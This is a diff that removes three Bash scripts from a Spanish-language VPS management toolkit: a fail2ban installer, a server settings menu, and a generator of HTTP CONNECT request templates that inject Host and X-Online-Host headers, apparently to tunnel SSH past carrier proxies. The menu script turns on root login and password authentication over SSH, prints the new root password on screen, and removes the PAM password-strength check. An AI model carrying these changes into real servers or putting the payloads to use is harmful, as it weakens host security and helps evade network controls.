@@ -1,433 +0,0 @@
-#!/bin/bash
- #27/01/2021
- declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
- pid_fail=$(dpkg -l | grep fail2ban | grep ii)
- apache=$(dpkg -l | grep apache2 | grep ii)
- squid=$(dpkg -l | grep squid | grep ii)
- dropbear=$(dpkg -l | grep dropbear | grep ii)
- openssh=$(dpkg -l | grep openssh | grep ii)
- stunnel4=$(dpkg -l | grep stunnel4 | grep ii)
- [[ "$openssh" != "" ]] && s1="ssh"
- [[ "$squid" != "" ]] && s2="squid"
- [[ "$dropbear" != "" ]] && s3="dropbear"
- [[ "$apache" != "" ]] && s4="apache"
- [[ "$stunnel4" != "" ]] && s5="stunnel4"
- clear
- clear
- msg -bar
- msg -tit
- echo -e "\e[93m         --   Fail2ban Protection v0.11.2 -- "
- echo -e "\e[97m          Anti ataques DDOS y spoofing SPAM"
- msg -bar
- if [[ ! -z "$pid_fail" ]]; then
-  echo -e "${cor[2]} [1] >${cor[5]} $(fun_trans "Desinstalar Fail2ban")"
-  echo -e "${cor[2]} [2] >\e[92m $(fun_trans "Mirar el registro")"
-  msg -bar
-   while [[ -z ${logxyz} || ${logxyz} != @(1|2) ]]; do
-    echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read logxyz
-    tput cuu1 && tput dl1
-   done
-  case ${logxyz} in
-   1)apt-get remove fail2ban -y &> /dev/null;;
-   2)cat /var/log/fail2ban.log 
-     msg -bar;;
-  esac
- exit 0
- fi
- echo -e "${cor[5]}        Desea Instalar  Fail2ban?"
- msg -bar
-   while [[ -z ${fail2ban} || ${fail2ban} != @(s|S|n|N|y|Y) ]]; do
-    echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion") [S/N]: " && read fail2ban
-    tput cuu1 && tput dl1
-   done
- if [[ "$fail2ban" = @(s|S|y|Y) ]]; then
- apt-get install fail2ban -y &> /dev/null
- wget -O $HOME/fail2ban https://github.com/fail2ban/fail2ban/archive/0.11.2.tar.gz &> /dev/null
- tar -xf $HOME/fail2ban &> /dev/null
- cd $HOME/fail2ban-0.11.2 &> /dev/null
- python ./setup.py install &> /dev/null
- echo '[INCLUDES]
- before = paths-debian.conf
- [DEFAULT]
- ignoreip = 127.0.0.1/8
- # ignorecommand = /path/to/command <ip>
- ignorecommand =
- bantime  = 1036800
- findtime  = 3600
- maxretry = 5
- backend = auto
- usedns = warn
- logencoding = auto
- enabled = false
- filter = %(__name__)s
- destemail = root@localhost
- sender = root@localhost
- mta = sendmail
- protocol = tcp
- chain = INPUT
- port = 0:65535
- fail2ban_agent = Fail2Ban/%(fail2ban_version)s
- banaction = iptables-multiport
- banaction_allports = iptables-allports
- action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
- action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
-             %(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"]
- action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
-              %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
- action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
-              xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"]
- action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"]
-                 %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
- action_blocklist_de  = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"]
- action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"]
- action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"]
- action = %(action_)s' > /etc/fail2ban/jail.local
- echo -ne "${cor[5]} $(fun_trans "Fail2ban sera activo en los Siguientes\n Puertos y Servicos"):"
- echo ""
- msg -bar
- echo -ne "\n"
- [ "$s1" != "" ] && echo -ne " $s1"
- [ "$s2" != "" ] && echo -ne " $s2"
- [ "$s3" != "" ] && echo -ne " $s3"
- [ "$s4" != "" ] && echo -ne " $s4"
- [ "$s5" != "" ] && echo -ne " $s5"
- echo -ne "\n"
- echo -ne "\n"
- msg -bar
- sleep 1
- if [[ "$s1" != "" ]]; then
- echo '[sshd]
- enabled = true
- port    = ssh
- logpath = %(sshd_log)s
- backend = %(sshd_backend)s
- [sshd-ddos]
- enabled = true
- port    = ssh
- logpath = %(sshd_log)s
- backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local
- else
- echo '[sshd]
- port    = ssh
- logpath = %(sshd_log)s
- backend = %(sshd_backend)s
- [sshd-ddos]
- port    = ssh
- logpath = %(sshd_log)s
- backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local
- fi
- if [[ "$s2" != "" ]]; then
- echo '[squid]
- enabled = true
- port     =  80,443,3128,8080
- logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local
- else
- echo '[squid]
- port     =  80,443,3128,8080
- logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local
- fi
- if [[ "$s3" != "" ]]; then
- echo '[dropbear]
- enabled = true
- port     = ssh
- logpath  = %(dropbear_log)s
- backend  = %(dropbear_backend)s' >> /etc/fail2ban/jail.local
- else
- echo '[dropbear]
- port     = ssh
- logpath  = %(dropbear_log)s
- backend  = %(dropbear_backend)s' >> /etc/fail2ban/jail.local
- fi
- if [[ "$s4" != "" ]]; then
- echo '[apache-auth]
- enabled = true
- port     = http,https
- logpath  = %(apache_error_log)s' >> /etc/fail2ban/jail.local
- else
- echo '[apache-auth]
- port     = http,https
- logpath  = %(apache_error_log)s' >> /etc/fail2ban/jail.local
- fi
- echo '[selinux-ssh]
- port     = ssh
- logpath  = %(auditd_log)s
- [apache-badbots]
- port     = http,https
- logpath  = %(apache_access_log)s
- bantime  = 172800
- maxretry = 1
- [apache-noscript]
- port     = http,https
- logpath  = %(apache_error_log)s
- [apache-overflows]
- port     = http,https
- logpath  = %(apache_error_log)s
- maxretry = 2
- [apache-nohome]
- port     = http,https
- logpath  = %(apache_error_log)s
- maxretry = 2
- [apache-botsearch]
- port     = http,https
- logpath  = %(apache_error_log)s
- maxretry = 2
- [apache-fakegooglebot]
- port     = http,https
- logpath  = %(apache_access_log)s
- maxretry = 1
- ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot <ip>
- [apache-modsecurity]
- port     = http,https
- logpath  = %(apache_error_log)s
- maxretry = 2
- [apache-shellshock]
- port    = http,https
- logpath = %(apache_error_log)s
- maxretry = 1
- [openhab-auth]
- filter = openhab
- action = iptables-allports[name=NoAuthFailures]
- logpath = /opt/openhab/logs/request.log
- [nginx-http-auth]
- port    = http,https
- logpath = %(nginx_error_log)s
- [nginx-limit-req]
- port    = http,https
- logpath = %(nginx_error_log)s
- [nginx-botsearch]
- port     = http,https
- logpath  = %(nginx_error_log)s
- maxretry = 2
- [php-url-fopen]
- port    = http,https
- logpath = %(nginx_access_log)s
-           %(apache_access_log)s
- [suhosin]
- port    = http,https
- logpath = %(suhosin_log)s
- [lighttpd-auth]
- port    = http,https
- logpath = %(lighttpd_error_log)s
- [roundcube-auth]
- port     = http,https
- logpath  = %(roundcube_errors_log)s
- [openwebmail]
- port     = http,https
- logpath  = /var/log/openwebmail.log
- [horde]
- port     = http,https
- logpath  = /var/log/horde/horde.log
- [groupoffice]
- port     = http,https
- logpath  = /home/groupoffice/log/info.log
- [sogo-auth]
- port     = http,https
- logpath  = /var/log/sogo/sogo.log
- [tine20]
- logpath  = /var/log/tine20/tine20.log
- port     = http,https
- [drupal-auth]
- port     = http,https
- logpath  = %(syslog_daemon)s
- backend  = %(syslog_backend)s
- [guacamole]
- port     = http,https
- logpath  = /var/log/tomcat*/catalina.out
- [monit]
- #Ban clients brute-forcing the monit gui login
- port = 2812
- logpath  = /var/log/monit
- [webmin-auth]
- port    = 10000
- logpath = %(syslog_authpriv)s
- backend = %(syslog_backend)s
- [froxlor-auth]
- port    = http,https
- logpath  = %(syslog_authpriv)s
- backend  = %(syslog_backend)s
- [3proxy]
- port    = 3128
- logpath = /var/log/3proxy.log
- [proftpd]
- port     = ftp,ftp-data,ftps,ftps-data
- logpath  = %(proftpd_log)s
- backend  = %(proftpd_backend)s
- [pure-ftpd]
- port     = ftp,ftp-data,ftps,ftps-data
- logpath  = %(pureftpd_log)s
- backend  = %(pureftpd_backend)s
- [gssftpd]
- port     = ftp,ftp-data,ftps,ftps-data
- logpath  = %(syslog_daemon)s
- backend  = %(syslog_backend)s
- [wuftpd]
- port     = ftp,ftp-data,ftps,ftps-data
- logpath  = %(wuftpd_log)s
- backend  = %(wuftpd_backend)s
- [vsftpd]
- port     = ftp,ftp-data,ftps,ftps-data
- logpath  = %(vsftpd_log)s
- [assp]
- port     = smtp,465,submission
- logpath  = /root/path/to/assp/logs/maillog.txt
- [courier-smtp]
- port     = smtp,465,submission
- logpath  = %(syslog_mail)s
- backend  = %(syslog_backend)s
- [postfix]
- port     = smtp,465,submission
- logpath  = %(postfix_log)s
- backend  = %(postfix_backend)s
- [postfix-rbl]
- port     = smtp,465,submission
- logpath  = %(postfix_log)s
- backend  = %(postfix_backend)s
- maxretry = 1
- [sendmail-auth]
- port    = submission,465,smtp
- logpath = %(syslog_mail)s
- backend = %(syslog_backend)s
- [sendmail-reject]
- port     = smtp,465,submission
- logpath  = %(syslog_mail)s
- backend  = %(syslog_backend)s
- [qmail-rbl]
- filter  = qmail
- port    = smtp,465,submission
- logpath = /service/qmail/log/main/current
- [dovecot]
- port    = pop3,pop3s,imap,imaps,submission,465,sieve
- logpath = %(dovecot_log)s
- backend = %(dovecot_backend)s
- [sieve]
- port   = smtp,465,submission
- logpath = %(dovecot_log)s
- backend = %(dovecot_backend)s
- [solid-pop3d]
- port    = pop3,pop3s
- logpath = %(solidpop3d_log)s
- [exim]
- port   = smtp,465,submission
- logpath = %(exim_main_log)s
- [exim-spam]
- port   = smtp,465,submission
- logpath = %(exim_main_log)s
- [kerio]
- port    = imap,smtp,imaps,465
- logpath = /opt/kerio/mailserver/store/logs/security.log
- [courier-auth]
- port     = smtp,465,submission,imap3,imaps,pop3,pop3s
- logpath  = %(syslog_mail)s
- backend  = %(syslog_backend)s
- [postfix-sasl]
- port     = smtp,465,submission,imap3,imaps,pop3,pop3s
- logpath  = %(postfix_log)s
- backend  = %(postfix_backend)s
- [perdition]
- port   = imap3,imaps,pop3,pop3s
- logpath = %(syslog_mail)s
- backend = %(syslog_backend)s
- [squirrelmail]
- port = smtp,465,submission,imap2,imap3,imaps,pop3,pop3s,http,https,socks
- logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log
- [cyrus-imap]
- port   = imap3,imaps
- logpath = %(syslog_mail)s
- backend = %(syslog_backend)s
- [uwimap-auth]
- port   = imap3,imaps
- logpath = %(syslog_mail)s
- backend = %(syslog_backend)s
- [named-refused]
- port     = domain,953
- logpath  = /var/log/named/security.log
- [nsd]
- port     = 53
- action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
-            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
- logpath = /var/log/nsd.log
- [asterisk]
- port     = 5060,5061
- action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
-            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
-            %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
- logpath  = /var/log/asterisk/messages
- maxretry = 10
- [freeswitch]
- port     = 5060,5061
- action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
-            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
-            %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"]
- logpath  = /var/log/freeswitch.log
- maxretry = 10
- [mysqld-auth]
- port     = 3306
- logpath  = %(mysql_log)s
- backend  = %(mysql_backend)s
- [recidive]
- logpath  = /var/log/fail2ban.log
- banaction = %(banaction_allports)s
- bantime  = 604800  ; 1 week
- findtime = 86400   ; 1 day
- [pam-generic]
- banaction = %(banaction_allports)s
- logpath  = %(syslog_authpriv)s
- backend  = %(syslog_backend)s
- [xinetd-fail]
- banaction = iptables-multiport-log
- logpath   = %(syslog_daemon)s
- backend   = %(syslog_backend)s
- maxretry  = 2
- [stunnel]
- logpath = /var/log/stunnel4/stunnel.log
- [ejabberd-auth]
- port    = 5222
- logpath = /var/log/ejabberd/ejabberd.log
- [counter-strike]
- logpath = /opt/cstrike/logs/L[0-9]*.log
- # Firewall: http://www.cstrike-planet.com/faq/6
- tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039
- udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015
- action  = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp]
-            %(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp]
- [nagios]
- logpath  = %(syslog_daemon)s     ; nrpe.cfg may define a different log_facility
- backend  = %(syslog_backend)s
- maxretry = 1
- [directadmin]
- logpath = /var/log/directadmin/login.log
- port = 2222
- [portsentry]
- logpath  = /var/lib/portsentry/portsentry.history
- maxretry = 1
- [pass2allow-ftp]
- # this pass2allow example allows FTP traffic after successful HTTP authentication
- port         = ftp,ftp-data,ftps,ftps-data
- # knocking_url variable must be overridden to some secret value in filter.d/apache-pass.local
- filter       = apache-pass
- # access log of the website with HTTP auth
- logpath      = %(apache_access_log)s
- blocktype    = RETURN
- returntype   = DROP
- bantime      = 3600
- maxretry     = 1
- findtime     = 1
- [murmur]
- port     = 64738
- action   = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp]
-            %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp]
- logpath  = /var/log/mumble-server/mumble-server.log
- [screensharingd]
- logpath  = /var/log/system.log
- logencoding = utf-8
- [haproxy-http-auth]
- logpath  = /var/log/haproxy.log' >> /etc/fail2ban/jail.local
- 
- 
- [[ -e $HOME/fail2ban ]] && rm $HOME/fail2ban
- [[ -d $HOME/fail2ban-0.11.2 ]] && rm -rf $HOME/fail2ban-0.11.2
- 
- cd 
- service fail2ban restart
- fi
-  

+ 0 - 228
SCRIPT-v8.5x Mod/VPS-MX/herramientas/gestor.sh

@@ -1,228 +0,0 @@
-# !/bin/bash
-# 27/01/2021
-clear
-clear
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-
-fun_bar () {
-comando="$1"
- _=$(
-$comando > /dev/null 2>&1
-) & > /dev/null
-pid=$!
-while [[ -d /proc/$pid ]]; do
-echo -ne " \033[1;33m["
-   for((i=0; i<10; i++)); do
-   echo -ne "\033[1;31m##"
-   sleep 0.2
-   done
-echo -ne "\033[1;33m]"
-sleep 1s
-echo
-tput cuu1
-tput dl1
-done
-echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m"
-sleep 1s
-}
-
-update_pak () {
-echo -ne " \033[1;31m[ ! ] apt-get update"
-apt-get update -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] apt-get upgrade"
-apt-get upgrade -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-msg -bar
-return
-}
-
-reiniciar_ser () {
-echo -ne " \033[1;31m[ ! ] Services stunnel4 restart"
-service stunnel4 restart > /dev/null 2>&1
-[[ -e /etc/init.d/stunnel4 ]] && /etc/init.d/stunnel4 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services squid restart"
-service squid restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services squid3 restart"
-service squid3 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services apache2 restart"
-service apache2 restart > /dev/null 2>&1
-[[ -e /etc/init.d/apache2 ]] && /etc/init.d/apache2 restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services openvpn restart"
-service openvpn restart > /dev/null 2>&1
-[[ -e /etc/init.d/openvpn ]] && /etc/init.d/openvpn restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services dropbear restart"
-service dropbear restart > /dev/null 2>&1
-[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services ssh restart"
-service ssh restart > /dev/null 2>&1
-[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-echo -ne " \033[1;31m[ ! ] Services fail2ban restart"
-( 
-[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart
-fail2ban-client -x stop && fail2ban-client -x start
-) > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
-msg -bar
-return
-}
-
-reiniciar_vps () {
-echo -ne " \033[1;31m[ ! ] Sudo Reboot"
-sleep 3s
-echo -e "\033[1;32m [OK]"
-(
-sudo reboot
-) > /dev/null 2>&1
-msg -bar
-return
-}
-
-host_name () {
-unset name
-while [[ ${name} = "" ]]; do
-echo -ne "\033[1;37m $(fun_trans "Nuevo nombre del host"): " && read name
-tput cuu1 && tput dl1
-done
-hostnamectl set-hostname $name 
-if [ $(hostnamectl status | head -1  | awk '{print $3}') = "${name}" ]; then 
-echo -e "\033[1;33m $(fun_trans "Host alterado corretamente")!, $(fun_trans "reiniciar VPS")"
-else
-echo -e "\033[1;33m $(fun_trans "Host no modificado")!"
-fi
-msg -bar
-return
-}
-
-cambiopass () {
-echo -e "${cor[3]} $(fun_trans "Esta herramienta cambia la contraseña de su servidor vps")"
-echo -e "${cor[3]} $(fun_trans "Esta contraseña es utilizada como usuario") root"
-msg -bar
-echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "; read x
-[[ $x = @(n|N) ]] && msg -bar && return
-msg -bar
-#Inicia Procedimentos
-echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")"
-msg -bar
-read  -p " Nuevo passwd: " pass
-(echo $pass; echo $pass)|passwd 2>/dev/null
-sleep 1s
-msg -bar
-echo -e "${cor[3]} $(fun_trans "Contraseña cambiada con exito!")"
-echo -e "${cor[2]} $(fun_trans "Su contraseña ahora es"): ${cor[4]}$pass"
-msg -bar
-return
-}
-
-rootpass () {
-clear
-msg -bar
-echo -e "${cor[3]}  Esta herramienta cambia a usuario root las VPS de "
-echo -e "${cor[3]}             GoogleCloud y Amazon"
-msg -bar
-echo -ne " Desea Seguir? [S/N]: "; read x
-[[ $x = @(n|N) ]] && msg -bar && return
-msg -bar
-#Inicia Procedimentos
-echo -e "                 Aplicando Configuraciones"
-fun_bar "service ssh restart"
-#Parametros Aplicados
-sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
-sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
-sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config
-msg -bar
-echo -e "Escriba su contraseña root actual o cambiela"
-msg -bar
-read  -p " Nuevo passwd: " pass
-(echo $pass; echo $pass)|passwd 2>/dev/null
-sleep 1s
-msg -bar
-echo -e "${cor[3]} Configuraciones aplicadas con exito!"
-echo -e "${cor[2]} Su contraseña ahora es: ${cor[4]}$pass"
-service ssh restart > /dev/null 2>&1
-msg -bar
-return
-}
-
-
-pamcrack () {
-echo -e "${cor[3]} $(fun_trans "Liberar passwd para VURTL")"
-msg -bar
-echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "; read x
-[[ $x = @(n|N) ]] && msg -bar && return
-echo -e ""
-fun_bar "service ssh restart"
-sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password
-fun_bar "service ssh restart"
-echo -e ""
-echo -e " \033[1;31m[ ! ]\033[1;33m $(fun_trans "Configuraciones VURTL aplicadas")"
-msg -bar
-return
-}
-
-timemx () {
-rm -rf /etc/localtime
-ln -s /usr/share/zoneinfo/America/Merida /etc/localtime
-echo -e " FECHA LOCAL MX APLICADA!"
-}
-
-timearg () {
-rm -rf /etc/localtime
-ln -sf /usr/share/zoneinfo/America/Argentina/Buenos_Aires /etc/localtime
-echo -e " FECHA LOCAL ARG APLICADA!"
-}
-
-
-gestor_fun () {
-clear
-msg -bar
-msg -tit
-echo -e " ${cor[3]}             AJUSTES INTERNOS DEL VPS  "
-msg -bar
-while true; do
-echo -e "${cor[4]} [1] > \033[1;36mACTULIZAR VPS"
-echo -e "${cor[4]} [2] > \033[1;36mREINICIAR SERVICIOS"
-echo -e "${cor[4]} [3] > \033[1;36mREINICIAR VPS"
-echo -e "${cor[4]} [4] > \033[1;36mCAMBIAR HOSTNAME VPS"
-echo -e "${cor[4]} [5] > \033[1;36mCAMBIAR CONTRASEÑA ROOT"
-echo -e "${cor[4]} [6] > \033[1;36mCAMBIAR HORA LOCAL MX"
-echo -e "${cor[4]} [7] > \033[1;36mCAMBIAR HORA LOCAL ARG"
-echo -e "${cor[2]} [8] > \033[1;100mAGREGAR ROOT a GoogleCloud y Amazon \033[0;37m"
-echo -e "$(msg -bar)\n${cor[4]} [0] > \e[97m\033[1;41m VOLVER \033[1;37m"
-while [[ ${opx} != @(0|[1-9]) ]]; do
-msg -bar
-echo -ne " Seleccione una Opcion: \033[1;37m" && read opx
-tput cuu1 && tput dl1
-done
-case $opx in
-	0)
-	return;;
-	1)
-	update_pak
-	break;;
-	2)
-	reiniciar_ser
-	break;;
-	3)
-	reiniciar_vps
-	break;;
-	4)
-	host_name
-	break;;
-	5)
-	cambiopass
-	break;;
-	6)
-	timemx
-	break;;
-	7)
-	timearg
-	break;;
-	8)
-	rootpass
-	break;;
-esac
-done
-}
-gestor_fun

+ 0 - 283
SCRIPT-v8.5x Mod/VPS-MX/herramientas/paysnd.sh

@@ -1,283 +0,0 @@
-#!/bin/bash
-#19/12/2019
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-construct_fun () {
-payload="$1"
-sed -i 's/.crlf]/\\r\\n&/g' ${payload}
-sed -i "s/.crlf]//g" ${payload}
-sed -i 's/.cr]/\\r&/g' ${payload}
-sed -i "s/.cr]//g" ${payload}
-sed -i 's/.lf]/\\n&/g' ${payload}
-sed -i "s/.lf]//g" ${payload}
-sed -i "s/.auth]//g" ${payload}
-sed -i 's/.delay_split]/\\r\\n&/g' ${payload}
-sed -i "s/.delay_split]//g" ${payload}
-sed -i 's/.instant_split]/\\r\\n&/g' ${payload}
-sed -i "s/.instant_split]//g" ${payload}
-sed -i 's/.split]/\\r\\n&/g' ${payload}
-sed -i "s/.split]//g" ${payload}
-sed -i "s;.host_port];${hostprox}:22;g" ${payload}
-sed -i "s;.host];${proxy};g" ${payload}
-sed -i "s;.port];:22;g" ${payload}
-sed -i 's;.protocol];HTTP/1.0;g' ${payload}
-sed -i 's;.ua];Dalvik/2.1.0;g' ${payload}
-sed -i 's;.method];CONNECT;g' ${payload}
-sed -i "s;.raw];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
-sed -i "s;.netData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
-sed -i "s;.realData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload}
-}
-esquelet="./payloads.txt"
-gerar_arqpay () {
-echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf]
-CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
-CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
-CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
-CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
-CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]
-CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf]
-CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf]
-CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
-GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
-GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
-GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
-GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
-CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
-CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf]
